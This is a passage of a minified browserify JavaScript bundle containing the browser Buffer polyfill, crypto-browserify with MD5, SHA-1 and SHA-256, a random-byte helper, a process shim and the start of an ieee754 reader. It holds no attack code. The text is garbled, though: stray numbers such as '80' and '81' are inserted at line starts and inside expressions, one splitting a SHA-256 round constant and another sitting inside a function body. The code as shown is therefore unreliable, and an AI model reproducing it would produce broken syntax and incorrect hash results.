string.");i=F(e.length)}var u;
80o._useTypedArrays?u=o._augment(new Uint8Array(i)):(u=this,u.length=i,u._isBuffer=!0);var a;if(o._useTypedArrays&&"number"==typeof e.byteLength)u._set(e);else if(O(e))for(a=0;i>a;a++)o.isBuffer(e)?u[a]=e.readUInt8(a):u[a]=e[a];else if("string"===n)u.write(e,0,t);else if("number"===n&&!o._useTypedArrays&&!r)for(a=0;i>a;a++)u[a]=0;return u}function l(e,t,r,n){r=Number(r)||0;var i=e.length-r;n?(n=Number(n),n>i&&(n=i)):n=i;var u=t.length;G(u%2===0,"Invalid hex string"),n>u/2&&(n=u/2);for(var a=0;n>a;a++){var s=parseInt(t.substr(2*a,2),16);G(!isNaN(s),"Invalid hex string"),e[r+a]=s}return o._charsWritten=2*a,a}function d(e,t,r,n){var i=o._charsWritten=W(V(t),e,r,n);return i}function h(e,t,r,n){var i=o._charsWritten=W(q(t),e,r,n);return i}function p(e,t,r,n){return h(e,t,r,n)}function g(e,t,r,n){var i=o._charsWritten=W(R(t),e,r,n);return i}function w(e,t,r,n){var i=o._charsWritten=W(P(t),e,r,n);return i}function y(e,t,r){return 0===t&&r===e.length?K.fromByteArray(e):K.fromByteArray(e.slice(t,r))}function m(e,t,r){var n="",o="";r=Math.min(e.length,r);for(var i=t;r>i;i++)e[i]<=127?(n+=J(o)+String.fromCharCode(e[i]),o=""):o+="%"+e[i].toString(16);return n+J(o)}function b(e,t,r){var n="";r=Math.min(e.length,r);for(var o=t;r>o;o++)n+=String.fromCharCode(e[o]);return n}function v(e,t,r){return b(e,t,r)}function _(e,t,r){var n=e.length;(!t||0>t)&&(t=0),(!r||0>r||r>n)&&(r=n);for(var o="",i=t;r>i;i++)o+=H(e[i]);return o}function E(e,t,r){for(var n=e.slice(t,r),o="",i=0;i<n.length;i+=2)o+=String.fromCharCode(n[i]+256*n[i+1]);return o}function I(e,t,r,n){n||(G("boolean"==typeof r,"missing or invalid endian"),G(void 0!==t&&null!==t,"missing offset"),G(t+1<e.length,"Trying to read beyond buffer length"));var o=e.length;if(!(t>=o)){var i;return r?(i=e[t],o>t+1&&(i|=e[t+1]<<8)):(i=e[t]<<8,o>t+1&&(i|=e[t+1])),i}}function A(e,t,r,n){n||(G("boolean"==typeof r,"missing or invalid endian"),G(void 0!==t&&null!==t,"missing offset"),G(t+3<e.length,"Trying to read beyond buffer length"));var o=e.length;if(!(t>=o)){var i;return r?(o>t+2&&(i=e[t+2]<<16),o>t+1&&(i|=e[t+1]<<8),i|=e[t],o>t+3&&(i+=e[t+3]<<24>>>0)):(o>t+1&&(i=e[t+1]<<16),o>t+2&&(i|=e[t+2]<<8),o>t+3&&(i|=e[t+3]),i+=e[t]<<24>>>0),i}}function B(e,t,r,n){n||(G("boolean"==typeof r,"missing or invalid endian"),G(void 0!==t&&null!==t,"missing offset"),G(t+1<e.length,"Trying to read beyond buffer length"));var o=e.length;if(!(t>=o)){var i=I(e,t,r,!0),u=32768&i;return u?-1*(65535-i+1):i}}function L(e,t,r,n){n||(G("boolean"==typeof r,"missing or invalid endian"),G(void 0!==t&&null!==t,"missing offset"),G(t+3<e.length,"Trying to read beyond buffer length"));var o=e.length;if(!(t>=o)){var i=A(e,t,r,!0),u=2147483648&i;return u?-1*(4294967295-i+1):i}}function U(e,t,r,n){return n||(G("boolean"==typeof r,"missing or invalid endian"),G(t+3<e.length,"Trying to read beyond buffer length")),Q.read(e,t,r,23,4)}function x(e,t,r,n){return n||(G("boolean"==typeof r,"missing or invalid endian"),G(t+7<e.length,"Trying to read beyond buffer length")),Q.read(e,t,r,52,8)}function S(e,t,r,n,o){o||(G(void 0!==t&&null!==t,"missing value"),G("boolean"==typeof n,"missing or invalid endian"),G(void 0!==r&&null!==r,"missing offset"),G(r+1<e.length,"trying to write beyond buffer length"),z(t,65535));var i=e.length;if(!(r>=i))for(var u=0,a=Math.min(i-r,2);a>u;u++)e[r+u]=(t&255<<8*(n?u:1-u))>>>8*(n?u:1-u)}function C(e,t,r,n,o){o||(G(void 0!==t&&null!==t,"missing value"),G("boolean"==typeof n,"missing or invalid endian"),G(void 0!==r&&null!==r,"missing offset"),G(r+3<e.length,"trying to write beyond buffer length"),z(t,4294967295));var i=e.length;if(!(r>=i))for(var u=0,a=Math.min(i-r,4);a>u;u++)e[r+u]=t>>>8*(n?u:3-u)&255}function j(e,t,r,n,o){o||(G(void 0!==t&&null!==t,"missing value"),G("boolean"==typeof n,"missing or invalid endian"),G(void 0!==r&&null!==r,"missing offset"),G(r+1<e.length,"Trying to write beyond buffer length"),X(t,32767,-32768));var i=e.length;r>=i||(t>=0?S(e,t,r,n,o):S(e,65535+t+1,r,n,o))}function k(e,t,r,n,o){o||(G(void 0!==t&&null!==t,"missing value"),G("boolean"==typeof n,"missing or invalid endian"),G(void 0!==r&&null!==r,"missing offset"),G(r+3<e.length,"Trying to write beyond buffer length"),X(t,2147483647,-2147483648));var i=e.length;r>=i||(t>=0?C(e,t,r,n,o):C(e,4294967295+t+1,r,n,o))}function T(e,t,r,n,o){o||(G(void 0!==t&&null!==t,"missing value"),G("boolean"==typeof n,"missing or invalid endian"),G(void 0!==r&&null!==r,"missing offset"),G(r+3<e.length,"Trying to write beyond buffer length"),$(t,3.4028234663852886e38,-3.4028234663852886e38));var i=e.length;r>=i||Q.write(e,t,r,n,23,4)}function M(e,t,r,n,o){o||(G(void 0!==t&&null!==t,"missing value"),G("boolean"==typeof n,"missing or invalid endian"),G(void 0!==r&&null!==r,"missing offset"),G(r+7<e.length,"Trying to write beyond buffer length"),$(t,1.7976931348623157e308,-1.7976931348623157e308));var i=e.length;r>=i||Q.write(e,t,r,n,52,8)}function N(e){return e.trim?e.trim():e.replace(/^\s+|\s+$/g,"")}function Y(e,t,r){return"number"!=typeof e?r:(e=~~e,e>=t?t:e>=0?e:(e+=t,e>=0?e:0))}function F(e){return e=~~Math.ceil(+e),0>
80e?0:e}function D(e){return(Array.isArray||function(e){return"[object Array]"===Object.prototype.toString.call(e)})(e)}function O(e){return D(e)||o.isBuffer(e)||e&&"object"==typeof e&&"number"==typeof e.length}function H(e){return 16>e?"0"+e.toString(16):e.toString(16)}function V(e){for(var t=[],r=0;r<e.length;r++){var n=e.charCodeAt(r);if(127>=n)t.push(e.charCodeAt(r));else{var o=r;n>=55296&&57343>=n&&r++;for(var i=encodeURIComponent(e.slice(o,r+1)).substr(1).split("%"),u=0;u<i.length;u++)t.push(parseInt(i[u],16))}}return t}function q(e){for(var t=[],r=0;r<e.length;r++)t.push(255&e.charCodeAt(r));return t}function P(e){for(var t,r,n,o=[],i=0;i<e.length;i++)t=e.charCodeAt(i),r=t>>8,n=t%256,o.push(n),o.push(r);return o}function R(e){return K.toByteArray(e)}function W(e,t,r,n){for(var o=0;n>o&&!(o+r>=t.length||o>=e.length);o++)t[o+r]=e[o];return o}function J(e){try{return decodeURIComponent(e)}catch(t){return String.fromCharCode(65533)}}function z(e,t){G("number"==typeof e,"cannot write a non-number as a number"),G(e>=0,"specified a negative value for writing an unsigned value"),G(t>=e,"value is larger than maximum value for type"),G(Math.floor(e)===e,"value has a fractional component")}function X(e,t,r){G("number"==typeof e,"cannot write a non-number as a number"),G(t>=e,"value larger than maximum allowed value"),G(e>=r,"value smaller than minimum allowed value"),G(Math.floor(e)===e,"value has a fractional component")}function $(e,t,r){G("number"==typeof e,"cannot write a non-number as a number"),G(t>=e,"value larger than maximum allowed value"),G(e>=r,"value smaller than minimum allowed value")}function G(e,t){if(!e)throw new Error(t||"Failed assertion")}var K=e("base64-js"),Q=e("ieee754");r.Buffer=o,r.SlowBuffer=o,r.INSPECT_MAX_BYTES=50,o.poolSize=8192,o._useTypedArrays=function(){try{var e=new ArrayBuffer(0),t=new Uint8Array(e);return t.foo=function(){return 42},42===t.foo()&&"function"==typeof t.subarray}catch(r){return!1}}(),o.isEncoding=function(e){switch(String(e).toLowerCase()){case"hex":case"utf8":case"utf-8":case"ascii":case"binary":case"base64":case"raw":case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return!0;default:return!1}},o.isBuffer=function(e){return!(null===e||void 0===e||!e._isBuffer)},o.byteLength=function(e,t){var r;switch(e+="",t||"utf8"){case"hex":r=e.length/2;break;case"utf8":case"utf-8":r=V(e).length;break;case"ascii":case"binary":case"raw":r=e.length;break;case"base64":r=R(e).length;break;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":r=2*e.length;break;default:throw new Error("Unknown encoding")}return r},o.concat=function(e,t){if(G(D(e),"Usage: Buffer.concat(list, [totalLength])\nlist should be an Array."),0===e.length)return new o(0);if(1===e.length)return e[0];var r;if("number"!=typeof t)for(t=0,r=0;r<e.length;r++)t+=e[r].length;var n=new o(t),i=0;for(r=0;r<e.length;r++){var u=e[r];u.copy(n,i),i+=u.length}return n},o.prototype.write=function(e,t,r,n){if(isFinite(t))isFinite(r)||(n=r,r=void 0);else{var o=n;n=t,t=r,r=o}t=Number(t)||0;var i=this.length-t;r?(r=Number(r),r>i&&(r=i)):r=i,n=String(n||"utf8").toLowerCase();var u;switch(n){case"hex":u=l(this,e,t,r);break;case"utf8":case"utf-8":u=d(this,e,t,r);break;case"ascii":u=h(this,e,t,r);break;case"binary":u=p(this,e,t,r);break;case"base64":u=g(this,e,t,r);break;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":u=w(this,e,t,r);break;default:throw new Error("Unknown encoding")}return u},o.prototype.toString=function(e,t,r){var n=this;if(e=String(e||"utf8").toLowerCase(),t=Number(t)||0,r=void 0!==r?Number(r):r=n.length,r===t)return"";var o;switch(e){case"hex":o=_(n,t,r);break;case"utf8":case"utf-8":o=m(n,t,r);break;case"ascii":o=b(n,t,r);break;case"binary":o=v(n,t,r);break;case"base64":o=y(n,t,r);break;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":o=E(n,t,r);break;default:throw new Error("Unknown encoding")}return o},o.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}},o.prototype.copy=function(e,t,r,n){var i=this;if(r||(r=0),n||0===n||(n=this.length),t||(t=0),n!==r&&0!==e.length&&0!==i.length){G(n>=r,"sourceEnd < sourceStart"),G(t>=0&&t<e.length,"targetStart out of bounds"),G(r>=0&&r<i.length,"sourceStart out of bounds"),G(n>=0&&n<=i.length,"sourceEnd out of bounds"),n>this.length&&(n=this.length),e.length-t<n-r&&(n=e.length-t+r);var u=n-r;if(100>u||!o._useTypedArrays)for(var a=0;u>a;a++)e[a+t]=this[a+r];else e._set(this.subarray(r,r+u),t)}},o.prototype.slice=function(e,t){var r=this.length;if(e=Y(e,r,0),t=Y(t,r,r),o._useTypedArrays)return o._augment(this.subarray(e,t));for(var n=t-e,i=new o(n,void 0,!0),u=0;n>u;u++)i[u]=this[u+e];return i},o.prototype.get=function(e){return console.log(".get() is deprecated. Access using array indexes instead."),this.readUInt8(e)},o.prototype.set=function(e,t){return console.log(".set() is deprecated. Access using array indexes instead."),this.writeUInt8(e,t)},o.prototype.readUInt8=function(e,t){return t||(G(void 0!==e&&null!==e,"missing offset"),G(e<this.length,"Trying to read beyond buffer length")),e>=this.length?void 0:this[e]},o.prototype.readUInt16LE=function(e,t){return I(this,e,!0,t)},o.prototype.readUInt16BE=function(e,t){return I(this,e,!1,t)},o.prototype.readUInt32LE=function(e,t){return A(this,e,!0,t)},o.prototype.readUInt32BE=function(e,t){return A(this,e,!1,t)},o.prototype.readInt8=function(e,t){if(t||(G(void 0!==e&&null!==e,"missing offset"),G(e<this.length,"Trying to read beyond buffer length")),!(e>=this.length)){var r=128&this[e];return r?-1*(255-this[e]+1):this[e]}},o.prototype.readInt16LE=function(e,t){return B(this,e,!0,t)},o.prototype.readInt16BE=function(e,t){return B(this,e,!1,t)},o.prototype.readInt32LE=function(e,t){return L(this,e,!0,t)},o.prototype.readInt32BE=function(e,t){return L(this,e,!1,t)},o.prototype.readFloatLE=function(e,t){return U(this,e,!0,t)},o.prototype.readFloatBE=function(e,t){return U(this,e,!1,t)},o.prototype.readDoubleLE=function(e,t){return x(this,e,!0,t)},o.prototype.readDoubleBE=function(e,t){return x(this,e,!1,t)},o.prototype.writeUInt8=function(e,t,r){r||(G(void 0!==e&&null!==e,"missing value"),G(void 0!==t&&null!==t,"missing offset"),G(t<this.length,"trying to write beyond buffer length"),z(e,255)),t>=this.length||(this[t]=e)},o.prototype.writeUInt16LE=function(e,t,r){S(this,e,t,!0,r)},o.prototype.writeUInt16BE=function(e,t,r){S(this,e,t,!1,r)},o.prototype.writeUInt32LE=function(e,t,r){C(this,e,t,!0,r)},o.prototype.writeUInt32BE=function(e,t,r){C(this,e,t,!1,r)},o.prototype.writeInt8=function(e,t,r){r||(G(void 0!==e&&null!==e,"missing value"),G(void 0!==t&&null!==t,"missing offset"),G(t<this.length,"Trying to write beyond buffer length"),X(e,127,-128)),t>=this.length||(e>=0?this.writeUInt8(e,t,r):this.writeUInt8(255+e+1,t,r))},o.prototype.writeInt16LE=function(e,t,r){j(this,e,t,!0,r)},o.prototype.writeInt16BE=function(e,t,r){j(this,e,t,!1,r)},o.prototype.writeInt32LE=function(e,t,r){k(this,e,t,!0,r)},o.prototype.writeInt32BE=function(e,t,r){k(this,e,t,!1,r)},o.prototype.writeFloatLE=function(e,t,r){T(this,e,t,!0,r)},o.prototype.writeFloatBE=function(e,t,r){T(this,e,t,!1,r)},o.prototype.writeDoubleLE=function(e,t,r){M(this,e,t,!0,r)},o.prototype.writeDoubleBE=function(e,t,r){M(this,e,t,!1,r)},o.prototype.fill=function(e,t,r){if(e||(e=0),t||(t=0),r||(r=this.length),"string"==typeof e&&(e=e.charCodeAt(0)),G("number"==typeof e&&!isNaN(e),"value is not a number"),G(r>=t,"end < start"),r!==t&&0!==this.length){G(t>=0&&t<this.length,"start out of bounds"),G(r>=0&&r<=this.length,"end out of bounds");for(var n=t;r>n;n++)this[n]=e}},o.prototype.inspect=function(){for(var e=[],t=this.length,n=0;t>n;n++)if(e[n]=H(this[n]),n===r.INSPECT_MAX_BYTES){e[n+1]="...";break}return"<Buffer "+e.join(" ")+">"},o.prototype.toArrayBuffer=function(){if("undefined"!=typeof Uint8Array){if(o._useTypedArrays)return new o(this).buffer;for(var e=new Uint8Array(this.length),t=0,r=e.length;r>t;t+=1)e[t]=this[t];return e.buffer}throw new Error("Buffer.toArrayBuffer not supported in this browser")};var Z=o.prototype;o._augment=function(e){return e._isBuffer=!0,e._get=e.get,e._set=e.set,e.get=Z.get,e.set=Z.set,e.write=Z.write,e.toString=Z.toString,e.toLocaleStr
80ing=Z.toString,e.toJSON=Z.toJSON,e.copy=Z.copy,e.slice=Z.slice,e.readUInt8=Z.readUInt8,e.readUInt16LE=Z.readUInt16LE,e.readUInt16BE=Z.readUInt16BE,e.readUInt32LE=Z.readUInt32LE,e.readUInt32BE=Z.readUInt32BE,e.readInt8=Z.readInt8,e.readInt16LE=Z.readInt16LE,e.readInt16BE=Z.readInt16BE,e.readInt32LE=Z.readInt32LE,e.readInt32BE=Z.readInt32BE,e.readFloatLE=Z.readFloatLE,e.readFloatBE=Z.readFloatBE,e.readDoubleLE=Z.readDoubleLE,e.readDoubleBE=Z.readDoubleBE,e.writeUInt8=Z.writeUInt8,e.writeUInt16LE=Z.writeUInt16LE,e.writeUInt16BE=Z.writeUInt16BE,e.writeUInt32LE=Z.writeUInt32LE,e.writeUInt32BE=Z.writeUInt32BE,e.writeInt8=Z.writeInt8,e.writeInt16LE=Z.writeInt16LE,e.writeInt16BE=Z.writeInt16BE,e.writeInt32LE=Z.writeInt32LE,e.writeInt32BE=Z.writeInt32BE,e.writeFloatLE=Z.writeFloatLE,e.writeFloatBE=Z.writeFloatBE,e.writeDoubleLE=Z.writeDoubleLE,e.writeDoubleBE=Z.writeDoubleBE,e.fill=Z.fill,e.inspect=Z.inspect,e.toArrayBuffer=Z.toArrayBuffer,e}}).call(this,e("lYpoI2"),"undefined"!=typeof self?self:"undefined"!=typeof window?window:{},e("buffer").Buffer,arguments[3],arguments[4],arguments[5],arguments[6],"/node_modules/gulp-browserify/node_modules/buffer/index.js","/node_modules/gulp-browserify/node_modules/buffer")},{"base64-js":2,buffer:3,ieee754:11,lYpoI2:10}],4:[function(e,t,r){(function(r,n,o,i,u,a,s,f,c){function l(e,t){if(e.length%p!==0){var r=e.length+(p-e.length%p);e=o.concat([e,g],r)}for(var n=[],i=t?e.readInt32BE:e.readInt32LE,u=0;u<e.length;u+=p)n.push(i.call(e,u));return n}function d(e,t,r){for(var n=new o(t),i=r?n.writeInt32BE:n.writeInt32LE,u=0;u<e.length;u++)i.call(n,e[u],4*u,!0);return n}function h(e,t,r,n){o.isBuffer(e)||(e=new o(e));var i=t(l(e,n),e.length*w);return d(i,r,n)}var o=e("buffer").Buffer,p=4,g=new o(p);g.fill(0);var w=8;t.exports={hash:h}}).call(this,e("lYpoI2"),"undefined"!=typeof self?self:"undefined"!=typeof window?window:{},e("buffer").Buffer,arguments[3],arguments[4],arguments[5],arguments[6],"/node_modules/gulp-browserify/node_modules/crypto-browserify/helpers.js","/node_modules/gulp-browserify/node_modules/crypto-browserify")},{buffer:3,lYpoI2:10}],5:[function(e,t,r){(function(t,n,o,i,u,a,s,f,c){function l(e,t,r){o.isBuffer(t)||(t=new o(t)),o.isBuffer(r)||(r=new o(r)),t.length>v?t=e(t):t.length<v&&(t=o.concat([t,_],v));for(var n=new o(v),i=new o(v),u=0;v>u;u++)n[u]=54^t[u],i[u]=92^t[u];var a=e(o.concat([n,r]));return e(o.concat([i,a]))}function d(e,t){e=e||"sha1";var r=b[e],n=[],i=0;return r||h("algorithm:",e,"is not yet supported"),{update:function(e){return o.isBuffer(e)||(e=new o(e)),n.push(e),i+=e.length,this},digest:function(e){var i=o.concat(n),u=t?l(r,t,i):r(i);return n=null,e?u.toString(e):u}}}function h(){var e=[].slice.call(arguments).join(" ");throw new Error([e,"we accept pull requests","http://github.com/dominictarr/crypto-browserify"].join("\n"))}function p(e,t){for(var r in e)t(e[r],r)}var o=e("buffer").Buffer,g=e("./sha"),w=e("./sha256"),y=e("./rng"),m=e("./md5"),b={sha1:g,sha256:w,md5:m},v=64,_=new o(v);_.fill(0),r.createHash=function(e){return d(e)},r.createHmac=function(e,t){return d(e,t)},r.randomBytes=function(e,t){if(!t||!t.call)return new o(y(e));try{t.call(this,void 0,new o(y(e)))}catch(r){t(r)}},p(["createCredentials","createCipher","createCipheriv","createDecipher","createDecipheriv","createSign","createVerify","createDiffieHellman","pbkdf2"],function(e){r[e]=function(){h("sorry,",e,"is not implemented yet")}})}).call(this,e("lYpoI2"),"undefined"!=typeof self?self:"undefined"!=typeof window?window:{},e("buffer").Buffer,arguments[3],arguments[4],arguments[5],arguments[6],"/node_modules/gulp-browserify/node_modules/crypto-browserify/index.js","/node_modules/gulp-browserify/node_modules/crypto-browserify")},{"./md5":6,"./rng":7,"./sha":8,"./sha256":9,buffer:3,lYpoI2:10}],6:[function(e,t,r){(function(r,n,o,i,u,a,s,f,c){function l(e,t){e[t>>5]|=128<<t%32,e[(t+64>>>9<<4)+14]=t;for(var r=1732584193,n=-271733879,o=-1732584194,i=271733878,u=0;u<e.length;u+=16){var a=r,s=n,f=o,c=i;r=h(r,n,o,i,e[u+0],7,-680876936),i=h(i,r,n,o,e[u+1],12,-389564586),o=h(o,i,r,n,e[u+2],17,606105819),n=h(n,o,i,r,e[u+3],22,-1044525330),r=h(r,n,o,i,e[u+4],7,-176418897),i=h(i,r,n,o,e[u+5],12,1200080426),o=h(o,i,r,n,e[u+6],17,-1473231341),n=h(n,o,i,r,e[u+7],22,-45705983),r=h(r,n,o,i,e[u+8],7,1770035416),i=h(i,r,n,o,e[u+9],12,-1958414417),o=h(o,i,r,n,e[u+10],17,-42063),n=h(n,o,i,r,e[u+11],22,-1990404162),r=h(r,n,o,i,e[u+12],7,1804603682),i=h(i,r,n,o,e[u+13],12,-40341101),o=h(o,i,r,n,e[u+14],17,-1502002290),n=h(n,o,i,r,e[u+15],22,1236535329),r=p(r,n,o,i,e[u+1],5,-165796510),i=p(i,r,n,o,e[u+6],9,-1069501632),o=p(o,i,r,n,e[u+11],14,643717713),n=p(n,o,i,r,e[u+0],20,-373897302),r=p(r,n,o,i,e[u+5],5,-701558691),i=p(i,r,n,o,e[u+10],9,38016083),o=p(o,i,r,n,e[u+15],14,-660478335),n=p(n,o,i,r,e[u+4],20,-405537848),r=p(r,n,o,i,e[u+9],5,568446438),i=p(i,r,n,o,e[u+14],9,-1019803690),o=p(o,i,r,n,e[u+3],14,-187363961),n=p(n,o,i,r,e[u+8],20,1163531501),r=p(r,n,o,i,e[u+13],5,-1444681467),i=p(i,r,n,o,e[u+2],9,-51403784),o=p(o,i,r,n,e[u+7],14,1735328473),n=p(n,o,i,r,e[u+12],20,-1926607734),r=g(r,n,o,i,e[u+5],4,-378558),i=g(i,r,n,o,e[u+8],11,-2022574463),o=g(o,i,r,n,e[u+11],16,1839030562),n=g(n,o,i,r,e[u+14],23,-35309556),r=g(r,
80n,o,i,e[u+1],4,-1530992060),i=g(i,r,n,o,e[u+4],11,1272893353),o=g(o,i,r,n,e[u+7],16,-155497632),n=g(n,o,i,r,e[u+10],23,-1094730640),r=g(r,n,o,i,e[u+13],4,681279174),i=g(i,r,n,o,e[u+0],11,-358537222),o=g(o,i,r,n,e[u+3],16,-722521979),n=g(n,o,i,r,e[u+6],23,76029189),r=g(r,n,o,i,e[u+9],4,-640364487),i=g(i,r,n,o,e[u+12],11,-421815835),o=g(o,i,r,n,e[u+15],16,530742520),n=g(n,o,i,r,e[u+2],23,-995338651),r=w(r,n,o,i,e[u+0],6,-198630844),i=w(i,r,n,o,e[u+7],10,1126891415),o=w(o,i,r,n,e[u+14],15,-1416354905),n=w(n,o,i,r,e[u+5],21,-57434055),r=w(r,n,o,i,e[u+12],6,1700485571),i=w(i,r,n,o,e[u+3],10,-1894986606),o=w(o,i,r,n,e[u+10],15,-1051523),n=w(n,o,i,r,e[u+1],21,-2054922799),r=w(r,n,o,i,e[u+8],6,1873313359),i=w(i,r,n,o,e[u+15],10,-30611744),o=w(o,i,r,n,e[u+6],15,-1560198380),n=w(n,o,i,r,e[u+13],21,1309151649),r=w(r,n,o,i,e[u+4],6,-145523070),i=w(i,r,n,o,e[u+11],10,-1120210379),o=w(o,i,r,n,e[u+2],15,718787259),n=w(n,o,i,r,e[u+9],21,-343485551),r=y(r,a),n=y(n,s),o=y(o,f),i=y(i,c)}return Array(r,n,o,i)}function d(e,t,r,n,o,i){return y(m(y(y(t,e),y(n,i)),o),r)}function h(e,t,r,n,o,i,u){return d(t&r|~t&n,e,t,o,i,u)}function p(e,t,r,n,o,i,u){return d(t&n|r&~n,e,t,o,i,u)}function g(e,t,r,n,o,i,u){return d(t^r^n,e,t,o,i,u)}function w(e,t,r,n,o,i,u){return d(r^(t|~n),e,t,o,i,u)}function y(e,t){var r=(65535&e)+(65535&t),n=(e>>16)+(t>>16)+(r>>16);return n<<16|65535&r}function m(e,t){return e<<t|e>>>32-t}var b=e("./helpers");t.exports=function(e){return b.hash(e,l,16)}}).call(this,e("lYpoI2"),"undefined"!=typeof self?self:"undefined"!=typeof window?window:{},e("buffer").Buffer,arguments[3],arguments[4],arguments[5],arguments[6],"/node_modules/gulp-browserify/node_modules/crypto-browserify/md5.js","/node_modules/gulp-browserify/node_modules/crypto-browserify")},{"./helpers":4,buffer:3,lYpoI2:10}],7:[function(e,t,r){(function(e,r,n,o,i,u,a,s,f){!function(){var e,r,n=this;e=function(e){for(var t,t,r=new Array(e),n=0;e>n;n++)0==(3&n)&&(t=4294967296*Math.random()),r[n]=t>>>((3&n)<<3)&255;return r},n.crypto&&crypto.getRandomValues&&(r=function(e){var t=new Uint8Array(e);return crypto.getRandomValues(t),t}),t.exports=r||e}()}).call(this,e("lYpoI2"),"undefined"!=typeof self?self:"undefined"!=typeof window?window:{},e("buffer").Buffer,arguments[3],arguments[4],arguments[5],arguments[6],"/node_modules/gulp-browserify/node_modules/crypto-browserify/rng.js","/node_modules/gulp-browserify/node_modules/crypto-browserify")},{buffer:3,lYpoI2:10}],8:[function(e,t,r){(function(r,n,o,i,u,a,s,f,c){function l(e,t){e[t>>5]|=128<<24-t%32,e[(t+64>>9<<4)+15]=t;for(var r=Array(80),n=1732584193,o=-271733879,i=-1732584194,u=271733878,a=-1009589776,s=0;s<e.length;s+=16){for(var f=n,c=o,l=i,w=u,y=a,m=0;80>m;m++){16>m?r[m]=e[s+m]:r[m]=g(r[m-3]^r[m-8]^r[m-14]^r[m-16],1);var b=p(p(g(n,5),d(m,o,i,u)),p(p(a,r[m]),h(m)));a=u,u=i,i=g(o,30),o=n,n=b}n=p(n,f),o=p(o,c),i=p(i,l),u=p(u,w),a=p(a,y)}return Array(n,o,i,u,a)}function d(e,t,r,n){return 20>e?t&r|~t&n:40>e?t^r^n:60>e?t&r|t&n|r&n:t^r^n}function h(e){return 20>e?1518500249:40>e?1859775393:60>e?-1894007588:-899497514}function p(e,t){var r=(65535&e)+(65535&t),n=(e>>16)+(t>>16)+(r>>16);return n<<16|65535&r}function g(e,t){return e<<t|e>>>32-t}var w=e("./helpers");t.exports=function(e){return w.hash(e,l,20,!0)}}).call(this,e("lYpoI2"),"undefined"!=typeof self?self:"undefined"!=typeof window?window:{},e("buffer").Buffer,arguments[3],arguments[4],arguments[5],arguments[6],"/node_modules/gulp-browserify/node_modules/crypto-browserify/sha.js","/node_modules/gulp-browserify/node_modules/crypto-browserify")},{"./helpers":4,buffer:3,lYpoI2:10}],9:[function(e,t,r){(function(r,n,o,i,u,a,s,f,c){var l=e("./helpers"),d=function(e,t){var r=(65535&e)+(65535&t),n=(e>>16)+(t>>16)+(r>>16);return n<<16|65535&r},h=function(e,t){return e>>>t|e<<32-t; 81},p=function(e,t){return e>>>t},g=function(e,t,r){return e&t^~e&r},w=function(e,t,r){return e&t^e&r^t&r},y=function(e){return h(e,2)^h(e,13)^h(e,22)},m=function(e){return h(e,6)^h(e,11)^h(e,25)},b=function(e){return h(e,7)^h(e,18)^p(e,3)},v=function(e){return h(e,17)^h(e,19)^p(e,10)},_=function(e,t){var r,n,o,i,u,a,s,f,c,l,h,p,_=new Array(1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756
81734187,3204031479,3329325298),E=new Array(1779033703,3144134277,1013904242,2773480762,1359893119,2600822924,528734635,1541459225),I=new Array(64);e[t>>5]|=128<<24-t%32,e[(t+64>>9<<4)+15]=t;for(var c=0;c<e.length;c+=16){r=E[0],n=E[1],o=E[2],i=E[3],u=E[4],a=E[5],s=E[6],f=E[7];for(var l=0;64>l;l++)16>l?I[l]=e[l+c]:I[l]=d(d(d(v(I[l-2]),I[l-7]),b(I[l-15])),I[l-16]),h=d(d(d(d(f,m(u)),g(u,a,s)),_[l]),I[l]),p=d(y(r),w(r,n,o)),f=s,s=a,a=u,u=d(i,h),i=o,o=n,n=r,r=d(h,p);E[0]=d(r,E[0]),E[1]=d(n,E[1]),E[2]=d(o,E[2]),E[3]=d(i,E[3]),E[4]=d(u,E[4]),E[5]=d(a,E[5]),E[6]=d(s,E[6]),E[7]=d(f,E[7])}return E};t.exports=function(e){return l.hash(e,_,32,!0)}}).call(this,e("lYpoI2"),"undefined"!=typeof self?self:"undefined"!=typeof window?window:{},e("buffer").Buffer,arguments[3],arguments[4],arguments[5],arguments[6],"/node_modules/gulp-browserify/node_modules/crypto-browserify/sha256.js","/node_modules/gulp-browserify/node_modules/crypto-browserify")},{"./helpers":4,buffer:3,lYpoI2:10}],10:[function(e,t,r){(function(e,r,n,o,i,u,a,s,f){function c(){}var e=t.exports={};e.nextTick=function(){var e="undefined"!=typeof window&&window.setImmediate,t="undefined"!=typeof window&&window.postMessage&&window.addEventListener;if(e)return function(e){return window.setImmediate(e)};if(t){var r=[];return window.addEventListener("message",function(e){var t=e.source;if((t===window||null===t)&&"process-tick"===e.data&&(e.stopPropagation(),r.length>0)){var n=r.shift();n()}},!0),function(e){r.push(e),window.postMessage("process-tick","*")}}return function(e){setTimeout(e,0)}}(),e.title="browser",e.browser=!0,e.env={},e.argv=[],e.on=c,e.addListener=c,e.once=c,e.off=c,e.removeListener=c,e.removeAllListeners=c,e.emit=c,e.binding=function(e){throw new Error("process.binding is not supported")},e.cwd=function(){return"/"},e.chdir=function(e){throw new Error("process.chdir is not supported")}}).call(this,e("lYpoI2"),"undefined"!=typeof self?self:"undefined"!=typeof window?window:{},e("buffer").Buffer,arguments[3],arguments[4],arguments[5],arguments[6],"/node_modules/gulp-browserify/node_modules/process/browser.js","/node_modules/gulp-browserify/node_modules/process")},{buffer:3,lYpoI2:10}],11:[function(e,t,r){(function(e,t,n,o,i,u,a,s,f){r.read=function(e,t,r,n,o){var i,u,a=8*o-n-1,s=(1<<a)-1,f=s>>1,c=-7,l=r?o-1:0,d=r?-1:1,h=e[t+l];for(l+=d,i=h&(1<<-c)-1,h>>=-c,c+=a;c>0;i=256*i+e[t+l],l+=d,c-=8);for(u=i&(1<<-c)-1,i>>=-c,c+=n;c>0;u=256*u+e[t+l],l+=d,c-=8);if(0===i)i=1-f;else{if(i===s)return 